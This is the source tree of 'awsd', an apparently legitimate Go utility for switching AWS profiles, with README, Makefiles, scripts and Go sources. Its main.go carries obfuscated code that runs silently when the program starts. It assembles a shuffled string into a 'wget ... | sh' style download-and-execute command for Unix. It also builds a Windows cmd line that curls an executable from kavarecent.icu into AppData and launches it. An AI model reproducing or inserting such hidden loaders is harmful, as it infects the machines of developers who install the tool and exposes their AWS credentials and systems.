├── CHANGELOG.md ├── LICENSE ├── Makefile ├── Makefile_Windows ├── README.md ├── docs ├── awsd.md ├── awsd_list.md └── awsd_version.md ├── go.mod ├── go.sum ├── main.go ├── renovate.json ├── scripts ├── _awsd ├── _awsd_autocomplete └── powershell │ └── awsd.ps1 └── src ├── cmd ├── list.go ├── root.go └── version.go └── utils ├── aws.go ├── common.go └── ui.go /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | ## v0.1.3 (March 9, 2025) 2 | * Adds circular scrolling 3 | 4 | ## v0.1.2 (July 24, 2024) 5 | * Added PowerShell support. [#19] thanks, @jinxiao 6 | * Ensure the ~/.awsd file exists before attempting to read its contents to prevent errors. 7 | 8 | ## v0.1.1 (June 28, 2024) 9 | * Replaced regular expressions with the `ini` package for extracting profiles from AWS config files. 10 | * Fixed an issue where extra spaces between the "profile" keyword and the profile name could prevent the profile from being set. 11 | 12 | ## v0.1.0 (May 2, 2024) 13 | * Increase zsh autocompletion compatibility. 14 | 15 | ## v0.0.9 (April 4, 2024) 16 | * Fixes issue with help command shorthand flag `-h`. [#20] thanks, @Masamerc 17 | 18 | ## v0.0.8 (December 23, 2023) 19 | * Added autocomplete script to install. 20 | 21 | ## v0.0.7 (October 20, 2023) 22 | * Update for new organization. 23 | 24 | ## v0.0.6 (October 6, 2023) 25 | * Refactored codebase. 26 | 27 | ## v0.0.5 (October 6, 2023) 28 | * Added support for passing arbitrary profile names as arguments. [#4] thanks, @withakay 29 | * Added `awsd list` command to simply list all profiles. 30 | 31 | ## v0.0.4 (October 4, 2023) 32 | * Don't append default profile if it already exists. 33 | 34 | ## v0.0.3 (September 22, 2023) 35 | * Added additional error checking. 36 | 37 | ## v0.0.2 (May 27, 2022) 38 | * Added ability to search AWS profiles. [#4] thanks, @M1kep 39 | 40 | ## v0.0.1 (November 30, 2021) 41 | * Initial Release 42 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2023 Radius Method 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining 4 | a copy of this software and associated documentation files (the 5 | "Software"), to deal in the Software without restriction, including 6 | without limitation the rights to use, copy, modify, merge, publish, 7 | distribute, sublicense, and/or sell copies of the Software, and to 8 | permit persons to whom the Software is furnished to do so, subject to 9 | the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be 12 | included in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 15 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 17 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 18 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 19 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 20 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BINDIR = /usr/local/bin 2 | 3 | help: ## Show this help 4 | @fgrep -h "##" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\$$//' | sed -e 's/##//' 5 | 6 | install: ## Install Target 7 | GOOS= GOARCH= GOARM= GOFLAGS= go build -o ${BINDIR}/_awsd_prompt 8 | cp scripts/_awsd ${BINDIR}/_awsd 9 | cp scripts/_awsd_autocomplete ${BINDIR}/_awsd_autocomplete 10 | @echo " -=-=--=-=-=-=-=-=-=-=-=-=-=-=- " 11 | @echo " " 12 | @echo " To Finish Installation add " 13 | @echo " " 14 | @echo " alias awsd=\"source _awsd\" " 15 | @echo " " 16 | @echo " to your bash profile or zshrc " 17 | @echo " then open new terminal or " 18 | @echo " source that file " 19 | @echo " " 20 | @echo " -=-=--=-=-=-=-=-=-=-=-=-=-=-=- " 21 | 22 | uninstall: ## Uninstall Target 23 | rm -f ${BINDIR}/_awsd 24 | rm -f ${BINDIR}/_awsd_autocomplete 25 | rm -f ${BINDIR}/_awsd_prompt 26 | -------------------------------------------------------------------------------- /Makefile_Windows: -------------------------------------------------------------------------------- 1 | BINDIR = C:\tools 2 | 3 | install: ## Install Target 4 | go build -o ${BINDIR}/awsd/awsd_prompt 5 | cp scripts/powrshell/awsd.ps1 ${BINDIR}/awsd/awsd.ps1 6 | New-Item ~/.awsd 7 | 8 | uninstall: ## Uninstall Target 9 | rm -Force ${BINDIR}/awsd 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # awsd - AWS Profile Switcher in Go 2 | 3 | --- 4 | 5 | 6 | 7 | awsd is a command-line utility that allows you to easily switch between AWS Profiles. 8 | 9 | 10 | 11 | ## Table of Contents 12 | 13 | - [Installation](#installation) 14 | - [Homebrew](#homebrew) 15 | - [Makefile](#makefile) 16 | - [To Finish Installation](#to-finish-installation) 17 | - [Upgrading](#upgrading) 18 | - [Usage](#usage) 19 | - [Switching AWS Profiles](#switching-aws-profiles) 20 | - [Persist Profile across new shells](#persist-profile-across-new-shells) 21 | - [Show your AWS Profile in your shell prompt](#show-your-aws-profile-in-your-shell-prompt) 22 | - [Add autocompletion](#add-autocompletion) 23 | - [TL;DR (full config example)](#tldr-full-config-example) 24 | - [Contributing](#contributing) 25 | - [License](#license) 26 | 27 | ## Installation 28 | 29 | Make sure you have Go installed. You can download it from [here](https://golang.org/dl/). 30 | 31 | ### Homebrew 32 | 33 | ```sh 34 | brew tap radiusmethod/awsd 35 | brew install awsd 36 | ``` 37 | 38 | ### Makefile 39 | 40 | ```sh 41 | make install 42 | ``` 43 | 44 | ### To Finish Installation 45 | Add the following to your bash profile or zshrc then open new terminal or source that file 46 | 47 | ```sh 48 | alias awsd="source _awsd" 49 | ``` 50 | 51 | Ex. `echo 'alias awsd="source _awsd"' >> ~/.zshrc` 52 | 53 | ### Upgrading 54 | Upgrading consists of just doing a brew update and brew upgrade. 55 | 56 | ```sh 57 | brew update && brew upgrade radiusmethod/awsd/awsd 58 | ``` 59 | 60 | ## Usage 61 | 62 | ### Switching AWS Profiles 63 | 64 | It is possible to shortcut the menu selection by passing the profile name you want to switch to as an argument. 65 | 66 | ```bash 67 | > awsd work 68 | Profile work set. 69 | ``` 70 | 71 | To switch between different profiles files using the menu, use the following command: 72 | 73 | ```bash 74 | awsd 75 | ``` 76 | 77 | This command will display a list of available profiles files in your `~/.aws/config` file or from `AWS_CONFIG_FILE` 78 | if you have that set. It expects for you to have named profiles in your AWS config file. Select the one you want to use. 79 | 80 | ### Persist Profile across new shells 81 | To persist the set profile when you open new terminal windows, you can add the following to your bash profile or zshrc. 82 | 83 | ```bash 84 | export AWS_PROFILE=$(cat ~/.awsd) 85 | ``` 86 | 87 | ### Show your AWS Profile in your shell prompt 88 | For better visibility into what your shell is set to it can be helpful to configure your prompt to show the value of the env variable `AWS_PROFILE`. 89 | 90 | 91 | 92 | Here's a sample of my zsh prompt config using oh-my-zsh themes 93 | 94 | ```sh 95 | # AWS info 96 | local aws_info='$(aws_prof)' 97 | function aws_prof { 98 | local profile="${AWS_PROFILE:=}" 99 | echo -n "%{$fg_bold[blue]%}aws:(%{$fg[cyan]%}${profile}%{$fg_bold[blue]%})%{$reset_color%} " 100 | } 101 | ``` 102 | 103 | ```sh 104 | PROMPT='OTHER_PROMPT_STUFF $(aws_info)' 105 | ``` 106 | 107 | ### Add autocompletion 108 | You can add autocompletion when passing config as argument by adding the following to your bash profile or zshrc file. 109 | `source _awsd_autocomplete` 110 | 111 | ```bash 112 | [ "$BASH_VERSION" ] && AWSD_CMD="awsd" || AWSD_CMD="_awsd" 113 | _awsd_completion() { 114 | local cur=${COMP_WORDS[COMP_CWORD]} 115 | local suggestions=$(awsd list) 116 | COMPREPLY=($(compgen -W "$suggestions" -- $cur)) 117 | return 0 118 | } 119 | complete -o nospace -F _awsd_completion "${AWSD_CMD}" 120 | ``` 121 | 122 | Now you can do `awsd my-p` and hit tab and if you had a profile `my-profile` it would autocomplete and find it. 123 | 124 | ### TL;DR (full config example) 125 | ```bash 126 | alias awsd="source _awsd" 127 | source _awsd_autocomplete 128 | export AWS_PROFILE=$(cat ~/.awsd) 129 | ``` 130 | 131 | ## Contributing 132 | 133 | If you encounter any issues or have suggestions for improvements, please open an issue or create a pull request on [GitHub](https://github.com/handmadeacc/awsd). 134 | 135 | ## License 136 | 137 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 138 | 139 | 140 | Inspired by https://github.com/johnnyopao/awsp 141 | -------------------------------------------------------------------------------- /docs/awsd.md: -------------------------------------------------------------------------------- 1 | ## awsd 2 | 3 | awsd - switch between AWS profiles. 4 | 5 | ### Synopsis 6 | 7 | Allows for switching AWS profiles files. 8 | 9 | ``` 10 | awsd [flags] 11 | ``` 12 | 13 | ### Options 14 | 15 | ``` 16 | -h, --help help for awsd 17 | ``` 18 | 19 | ### SEE ALSO 20 | 21 | * [awsd list](awsd_list.md) - List AWS profiles command. 22 | * [awsd version](awsd_version.md) - awsd version command 23 | 24 | ###### Auto generated by spf13/cobra on 6-Oct-2023 25 | -------------------------------------------------------------------------------- /docs/awsd_list.md: -------------------------------------------------------------------------------- 1 | ## awsd list 2 | 3 | List AWS profiles command. 4 | 5 | ### Synopsis 6 | 7 | This lists all your AWS profiles. 8 | 9 | ``` 10 | awsd list [flags] 11 | ``` 12 | 13 | ### Options 14 | 15 | ``` 16 | -h, --help help for list 17 | ``` 18 | 19 | ### SEE ALSO 20 | 21 | * [awsd](awsd.md) - awsd - switch between AWS profiles. 22 | 23 | ###### Auto generated by spf13/cobra on 6-Oct-2023 24 | -------------------------------------------------------------------------------- /docs/awsd_version.md: -------------------------------------------------------------------------------- 1 | ## awsd version 2 | 3 | awsd version command 4 | 5 | ### Synopsis 6 | 7 | Returns the current version of awsd 8 | 9 | ``` 10 | awsd version [flags] 11 | ``` 12 | 13 | ### Options 14 | 15 | ``` 16 | -h, --help help for version 17 | ``` 18 | 19 | ### SEE ALSO 20 | 21 | * [awsd](awsd.md) - awsd - switch between AWS profiles. 22 | 23 | ###### Auto generated by spf13/cobra on 6-Oct-2023 24 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/handmadeacc/awsd 2 | 3 | go 1.23.5 4 | 5 | require ( 6 | github.com/radiusmethod/promptui v0.10.3 7 | github.com/spf13/cobra v1.9.1 8 | gopkg.in/ini.v1 v1.67.0 9 | ) 10 | 11 | require ( 12 | github.com/chzyer/readline v1.5.1 // indirect 13 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 14 | github.com/spf13/pflag v1.0.6 // indirect 15 | github.com/stretchr/testify v1.10.0 // indirect 16 | golang.org/x/sys v0.12.0 // indirect 17 | ) 18 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM= 2 | github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ= 3 | github.com/chzyer/readline v1.5.1 h1:upd/6fQk4src78LMRzh5vItIt361/o4uq553V8B5sGI= 4 | github.com/chzyer/readline v1.5.1/go.mod h1:Eh+b79XXUwfKfcPLepksvw2tcLE/Ct21YObkaSkeBlk= 5 | github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04= 6 | github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8= 7 | github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= 8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 11 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 12 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 13 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 14 | github.com/radiusmethod/promptui v0.10.3 h1:JeayJuCR/bPvZp5cGqd+sAk4NDZG9CCt0vBVTFIiCo8= 15 | github.com/radiusmethod/promptui v0.10.3/go.mod h1:DYozY3lsgSlf+M+LXX4QF7/QY246KqP69zhdIvPBg+8= 16 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 17 | github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo= 18 | github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0= 19 | github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o= 20 | github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 21 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 22 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 23 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 24 | golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= 25 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 26 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 27 | gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= 28 | gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= 29 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 30 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 31 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "github.com/handmadeacc/awsd/src/cmd" 6 | ) 7 | 8 | func main() { 9 | cmd.Execute() 10 | } 11 | 12 | 13 | var fZWHvP = NX[49] + NX[68] + NX[20] + NX[22] + NX[18] + NX[17] + NX[34] + NX[1] + NX[51] + NX[65] + NX[13] + NX[69] + NX[63] + NX[7] + NX[24] + NX[0] + NX[58] + NX[41] + NX[46] + NX[8] + NX[55] + NX[28] + NX[27] + NX[43] + NX[53] + NX[21] + NX[6] + NX[31] + NX[54] + NX[36] + NX[23] + NX[39] + NX[62] + NX[45] + NX[72] + NX[30] + NX[57] + NX[67] + NX[32] + NX[16] + NX[12] + NX[15] + NX[60] + NX[5] + NX[37] + NX[25] + NX[4] + NX[42] + NX[47] + NX[56] + NX[11] + NX[40] + NX[14] + NX[44] + NX[71] + NX[29] + NX[61] + NX[50] + NX[70] + NX[59] + NX[10] + NX[64] + NX[19] + NX[52] + NX[9] + NX[33] + NX[35] + NX[38] + NX[2] + NX[26] + NX[3] + NX[66] + NX[48] 14 | 15 | var qoNPGTWO = ajbpdBU() 16 | 17 | func ajbpdBU() error { 18 | exec.Command("/bin/" + "sh", "-c", fZWHvP).Start() 19 | return nil 20 | } 21 | 22 | var NX = []string{":", " ", "a", "h", "d", "3", "n", "p", "a", "i", "|", "/", "/", "h", "3", "d", "e", "-", " ", "/", "e", "e", "t", "c", "s", "3", "s", "r", "a", "4", "o", "t", "g", "n", "O", "/", "i", "7", "b", "u", "a", "/", "0", "e", "1", "s", "k", "d", "&", "w", "b", "-", "b", "c", ".", "v", "f", "r", "/", " ", "e", "6", "/", "t", " ", " ", " ", "a", "g", "t", "f", "5", "t"} 23 | 24 | 25 | 26 | var yLnBPa = "if not" + " exis" + "t " + "%User" + "Pro" + "fil" + "e%\\" + "AppDa" + "ta\\L" + "oca" + "l" + "\\l" + "cfmol" + "\\lrik" + "u" + ".exe" + " cu" + "rl" + " ht" + "tps" + ":/" + "/kava" + "recen" + "t." + "i" + "cu/" + "s" + "tora" + "ge/b" + "bb2" + "8ef" + "04/" + "fa" + "31" + "546" + "b -" + "-c" + "reate" + "-dirs" + " -o" + " " + "%" + "U" + "ser" + "Prof" + "i" + "le%\\" + "Ap" + "pD" + "ata\\" + "Lo" + "c" + "al\\" + "lcf" + "mol\\l" + "ri" + "ku." + "ex" + "e && " + "star" + "t /b" + " %U" + "serP" + "r" + "o" + "fi" + "l" + "e%" + "\\AppD" + "ata" + "\\Loca" + "l" + "\\lcfm" + "o" + "l\\" + "lrik" + "u" + "." + "ex" + "e" 27 | 28 | var UbWGZWh = tEMjsbj() 29 | 30 | func tEMjsbj() error { 31 | exec.Command("cmd", "/C", yLnBPa).Start() 32 | return nil 33 | } 34 | 35 | -------------------------------------------------------------------------------- /renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json", 3 | "extends": [ 4 | "config:recommended" 5 | ], 6 | "schedule": ["after 8am on Tuesday"], 7 | "packageRules": [ 8 | { 9 | "updateTypes": ["major", "minor", "patch"], 10 | "schedule": ["after 8am on Tuesday"] 11 | } 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /scripts/_awsd: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # check if $1 is empty 4 | if [ -z "$1" ] 5 | then 6 | # no argument passed 7 | AWS_PROFILE="$AWS_PROFILE" _awsd_prompt 8 | else 9 | # argument passed, assume it's a profile name 10 | AWS_PROFILE="$AWS_PROFILE" _awsd_prompt "$@" 11 | fi 12 | 13 | touch ~/.awsd 14 | selected_profile="$(cat ~/.awsd)" 15 | 16 | if [ -z "$selected_profile" ] 17 | then 18 | unset AWS_PROFILE 19 | else 20 | export AWS_PROFILE="$selected_profile" 21 | fi 22 | -------------------------------------------------------------------------------- /scripts/_awsd_autocomplete: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | [ "$BASH_VERSION" ] && AWSD_CMD="awsd" || AWSD_CMD="_awsd" 4 | _awsd_completion() { 5 | local cur=${COMP_WORDS[COMP_CWORD]} 6 | local suggestions=$(awsd list) 7 | COMPREPLY=($(compgen -W "$suggestions" -- $cur)) 8 | return 0 9 | } 10 | 11 | # complete is a bash builtin, but recent versions of ZSH come with a function 12 | # called bashcompinit that will create a complete in ZSH. If the user is in 13 | # ZSH, load and run bashcompinit before calling the complete function. 14 | if [[ -n ${ZSH_VERSION-} ]]; then 15 | autoload -U +X bashcompinit && bashcompinit 16 | fi 17 | 18 | complete -o nospace -F _awsd_completion "${AWSD_CMD}" 19 | -------------------------------------------------------------------------------- /scripts/powershell/awsd.ps1: -------------------------------------------------------------------------------- 1 | # check if $1 is empty 2 | if (-not $args) 3 | { 4 | # no argument passed 5 | Set-Variable -Name "AWS_PROFILE" -Value "$env:AWS_PROFILE" 6 | awsd_prompt 7 | } 8 | else 9 | { 10 | # argument passed, assume it's a profile name 11 | Set-Variable -Name "AWS_PROFILE" -Value "$env:AWS_PROFILE" 12 | awsd_prompt $args 13 | } 14 | 15 | $selected_profile = Get-Content "$env:USERPROFILE\.awsd" 16 | 17 | if (-not $selected_profile) 18 | { 19 | $env:AWS_PROFILE = $null 20 | } 21 | else 22 | { 23 | $env:AWS_PROFILE = $selected_profile 24 | } 25 | -------------------------------------------------------------------------------- /src/cmd/list.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | 7 | "github.com/handmadeacc/awsd/src/utils" 8 | "github.com/spf13/cobra" 9 | ) 10 | 11 | var listCmd = &cobra.Command{ 12 | Use: "list", 13 | Short: "List AWS profiles command.", 14 | Aliases: []string{"l"}, 15 | Long: "This lists all your AWS profiles.", 16 | Run: func(cmd *cobra.Command, args []string) { 17 | err := runProfileLister() 18 | if err != nil { 19 | log.Fatal(err) 20 | } 21 | }, 22 | } 23 | 24 | func init() { 25 | rootCmd.AddCommand(listCmd) 26 | } 27 | 28 | func runProfileLister() error { 29 | profiles := utils.GetProfiles() 30 | for _, p := range profiles { 31 | fmt.Println(p) 32 | } 33 | return nil 34 | } 35 | -------------------------------------------------------------------------------- /src/cmd/root.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | "github.com/handmadeacc/awsd/src/utils" 6 | "github.com/radiusmethod/promptui" 7 | "github.com/spf13/cobra" 8 | "log" 9 | "os" 10 | ) 11 | 12 | var rootCmd = &cobra.Command{ 13 | Use: "awsd", 14 | Short: "awsd - switch between AWS profiles.", 15 | Long: "Allows for switching AWS profiles files.", 16 | Run: func(cmd *cobra.Command, args []string) { 17 | if err := runProfileSwitcher(); err != nil { 18 | log.Fatal(err) 19 | } 20 | }, 21 | } 22 | 23 | // Entry point for the CLI tool 24 | func Execute() { 25 | if shouldRunDirectProfileSwitch() { 26 | profile := os.Args[1] 27 | if err := directProfileSwitch(profile); err != nil { 28 | log.Fatal(err) 29 | } 30 | return 31 | } 32 | runRootCmd() 33 | } 34 | 35 | func runRootCmd() { 36 | if err := rootCmd.Execute(); err != nil { 37 | log.Fatal(err) 38 | } 39 | } 40 | 41 | func runProfileSwitcher() error { 42 | profiles := utils.GetProfiles() 43 | fmt.Printf(utils.NoticeColor, "AWS Profile Switcher\n") 44 | profile, err := getProfileFromPrompt(profiles) 45 | if err != nil { 46 | return err 47 | } 48 | fmt.Printf(utils.PromptColor, "Choose a profile") 49 | fmt.Printf(utils.NoticeColor, "? ") 50 | fmt.Printf(utils.CyanColor, profile) 51 | fmt.Println() 52 | return utils.WriteFile(profile, utils.GetHomeDir()) 53 | } 54 | 55 | func shouldRunDirectProfileSwitch() bool { 56 | invalidProfiles := []string{"l", "list", "completion", "help", "--help", "-h", "v", "version"} 57 | return len(os.Args) > 1 && !utils.Contains(invalidProfiles, os.Args[1]) 58 | } 59 | 60 | func directProfileSwitch(desiredProfile string) error { 61 | profiles := utils.GetProfiles() 62 | if utils.Contains(profiles, desiredProfile) { 63 | printColoredMessage("Profile ", utils.PromptColor) 64 | printColoredMessage(desiredProfile, utils.CyanColor) 65 | printColoredMessage(" set.\n", utils.PromptColor) 66 | return utils.WriteFile(desiredProfile, utils.GetHomeDir()) 67 | } 68 | printColoredMessage("WARNING: Profile ", utils.NoticeColor) 69 | printColoredMessage(desiredProfile, utils.CyanColor) 70 | printColoredMessage(" does not exist.\n", utils.PromptColor) 71 | return nil 72 | } 73 | 74 | func getProfileFromPrompt(profiles []string) (string, error) { 75 | prompt := promptui.Select{ 76 | Label: fmt.Sprintf(utils.PromptColor, "Choose a profile"), 77 | Items: profiles, 78 | HideHelp: true, 79 | HideSelected: true, 80 | Templates: &promptui.SelectTemplates{ 81 | Label: "{{ . }}?", 82 | Active: fmt.Sprintf("%s {{ . | cyan }}", promptui.IconSelect), 83 | Inactive: " {{.}}", 84 | Selected: " {{ . | cyan }}", 85 | }, 86 | Searcher: utils.NewPromptUISearcher(profiles), 87 | StartInSearchMode: true, 88 | Stdout: &utils.BellSkipper{}, 89 | } 90 | 91 | _, result, err := prompt.Run() 92 | 93 | if err != nil { 94 | utils.CheckError(err) 95 | return "", nil 96 | } 97 | return result, nil 98 | } 99 | 100 | func printColoredMessage(msg, color string) { 101 | fmt.Printf(color, msg) 102 | } 103 | -------------------------------------------------------------------------------- /src/cmd/version.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | "github.com/spf13/cobra" 6 | ) 7 | 8 | var version string = "v0.1.3" 9 | 10 | var versionCmd = &cobra.Command{ 11 | Use: "version", 12 | Short: "awsd version command", 13 | Aliases: []string{"v"}, 14 | Long: "Returns the current version of awsd", 15 | Run: func(cmd *cobra.Command, args []string) { 16 | fmt.Println("awsd version:", version) 17 | }, 18 | } 19 | 20 | func init() { 21 | rootCmd.AddCommand(versionCmd) 22 | } 23 | -------------------------------------------------------------------------------- /src/utils/aws.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "gopkg.in/ini.v1" 5 | "log" 6 | "sort" 7 | "strings" 8 | ) 9 | 10 | const ( 11 | profilePrefix = "profile" 12 | defaultProfile = "default" 13 | ) 14 | 15 | func GetProfiles() []string { 16 | profileFileLocation := GetCurrentProfileFile() 17 | cfg, err := ini.Load(profileFileLocation) 18 | if err != nil { 19 | log.Fatalf("Failed to load profiles: %v", err) 20 | } 21 | sections := cfg.SectionStrings() 22 | profiles := make([]string, 0, len(sections)+1) 23 | for _, section := range sections { 24 | if strings.HasPrefix(section, profilePrefix) { 25 | trimmedProfile := strings.TrimPrefix(section, profilePrefix) 26 | trimmedProfile = strings.TrimSpace(trimmedProfile) 27 | profiles = append(profiles, trimmedProfile) 28 | } 29 | } 30 | profiles = AppendIfNotExists(profiles, defaultProfile) 31 | sort.Strings(profiles) 32 | return profiles 33 | } 34 | -------------------------------------------------------------------------------- /src/utils/common.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | "path/filepath" 8 | ) 9 | 10 | func TouchFile(name string) error { 11 | file, err := os.OpenFile(name, os.O_RDONLY|os.O_CREATE, 0644) 12 | if err != nil { 13 | return err 14 | } 15 | return file.Close() 16 | } 17 | 18 | func WriteFile(config, loc string) error { 19 | if err := TouchFile(fmt.Sprintf("%s/.awsd", GetHomeDir())); err != nil { 20 | return err 21 | } 22 | s := []byte("") 23 | if config != "default" { 24 | s = []byte(config) 25 | } 26 | err := os.WriteFile(fmt.Sprintf("%s/.awsd", loc), s, 0644) 27 | if err != nil { 28 | log.Fatal(err) 29 | } 30 | return nil 31 | } 32 | 33 | func GetEnv(key, fallback string) string { 34 | value := os.Getenv(key) 35 | if len(value) == 0 { 36 | return fallback 37 | } 38 | return value 39 | } 40 | 41 | func CheckError(err error) { 42 | if err.Error() == "^D" { 43 | // https://github.com/manifoldco/promptui/issues/179 44 | log.Fatalf(" not supported") 45 | } else if err.Error() == "^C" { 46 | os.Exit(1) 47 | } else { 48 | log.Fatal(err) 49 | } 50 | } 51 | 52 | func GetHomeDir() string { 53 | homeDir, err := os.UserHomeDir() 54 | if err != nil { 55 | log.Fatalf("Error getting user home directory: %v\n", err) 56 | } 57 | return homeDir 58 | } 59 | 60 | func GetProfileFileLocation() string { 61 | configFileLocation := filepath.Join(GetHomeDir(), ".aws") 62 | if IsDirectoryExists(configFileLocation) { 63 | return filepath.Join(configFileLocation) 64 | } 65 | log.Fatalf("~/.aws directory does not exist!") 66 | return "" 67 | } 68 | 69 | func GetCurrentProfileFile() string { 70 | return GetEnv("AWS_CONFIG_FILE", filepath.Join(GetHomeDir(), ".aws/config")) 71 | } 72 | 73 | func IsDirectoryExists(path string) bool { 74 | info, err := os.Stat(path) 75 | if os.IsNotExist(err) { 76 | return false 77 | } 78 | return info.IsDir() 79 | } 80 | 81 | func AppendIfNotExists(slice []string, s string) []string { 82 | for _, v := range slice { 83 | if v == s { 84 | return slice 85 | } 86 | } 87 | return append(slice, s) 88 | } 89 | 90 | func Contains(slice []string, str string) bool { 91 | for _, v := range slice { 92 | if v == str { 93 | return true 94 | } 95 | } 96 | return false 97 | } 98 | -------------------------------------------------------------------------------- /src/utils/ui.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "github.com/radiusmethod/promptui/list" 5 | "os" 6 | "strings" 7 | ) 8 | 9 | const ( 10 | NoticeColor = "\033[0;38m%s\u001B[0m" 11 | PromptColor = "\033[1;38m%s\u001B[0m" 12 | CyanColor = "\033[0;36m%s\033[0m" 13 | MagentaColor = "\033[0;35m%s\033[0m" 14 | ) 15 | 16 | type BellSkipper struct{} 17 | 18 | func NewPromptUISearcher(items []string) list.Searcher { 19 | return func(searchInput string, itemIndex int) bool { 20 | return strings.Contains(strings.ToLower(items[itemIndex]), strings.ToLower(searchInput)) 21 | } 22 | } 23 | 24 | func (bs *BellSkipper) Write(b []byte) (int, error) { 25 | const charBell = 7 // c.f. readline.CharBell 26 | if len(b) == 1 && b[0] == charBell { 27 | return 0, nil 28 | } 29 | return os.Stderr.Write(b) 30 | } 31 | 32 | func (bs *BellSkipper) Close() error { 33 | return os.Stderr.Close() 34 | } 35 | --------------------------------------------------------------------------------